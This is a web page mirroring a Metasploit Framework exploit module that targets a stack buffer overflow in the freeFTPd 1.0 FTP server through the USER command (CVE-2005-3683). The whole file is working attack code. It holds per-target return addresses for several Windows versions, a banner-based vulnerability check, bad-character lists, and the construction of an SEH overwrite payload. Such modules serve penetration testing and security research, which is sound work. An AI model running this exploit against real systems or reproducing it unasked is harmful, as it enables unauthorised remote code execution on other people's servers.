CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/freeftpd_user.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'freeFTPd 1.0 Username Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the freeFTPd
17
multi-protocol file transfer service. This flaw can only be
18
exploited when logging has been enabled (non-default).
19
},
20
'Author' => 'MC',
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2005-3683'],
25
[ 'OSVDB', '20909'],
26
[ 'BID', '15457']
27
],
28
'Privileged' => false,
29
'Payload' =>
30
{
31
'Space' => 800,
32
'BadChars' => "\x00\x20\x0a\x0d",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => %w{ win },
36
'Targets' =>
37
[
38
[
39
'Windows 2000 English ALL',
40
{
41
'Platform' => 'win',
42
'Ret' => 0x75022ac4,
43
},
44
],
45
[
46
'Windows XP Pro SP0/SP1 English',
47
{
48
'Platform' => 'win',
49
'Ret' => 0x71aa32ad,
50
},
51
],
52
[
53
'Windows NT SP5/SP6a English',
54
{
55
'Platform' => 'win',
56
'Ret' => 0x776a1799,
57
},
58
],
59
[
60
'Windows 2003 Server English',
61
{
62
'Platform' => 'win',
63
'Ret' => 0x7ffc0638,
64
},
65
],
66
],
67
'DisclosureDate' => '2005-11-16'
68
))
69
end
70
71
def check
72
connect
73
disconnect
74
if (banner =~ /freeFTPd 1\.0/)
75
return Exploit::CheckCode::Appears
76
end
77
return Exploit::CheckCode::Safe
78
end
79
80
def exploit
81
connect
82
83
print_status("Trying target #{target.name}...")
84
85
buf = rand_text_english(1816, payload_badchars)
86
seh = generate_seh_payload(target.ret)
87
buf[1008, seh.length] = seh
88
89
send_cmd( ['USER', buf] , false)
90
91
handler
92
disconnect
93
end
94
end
95
96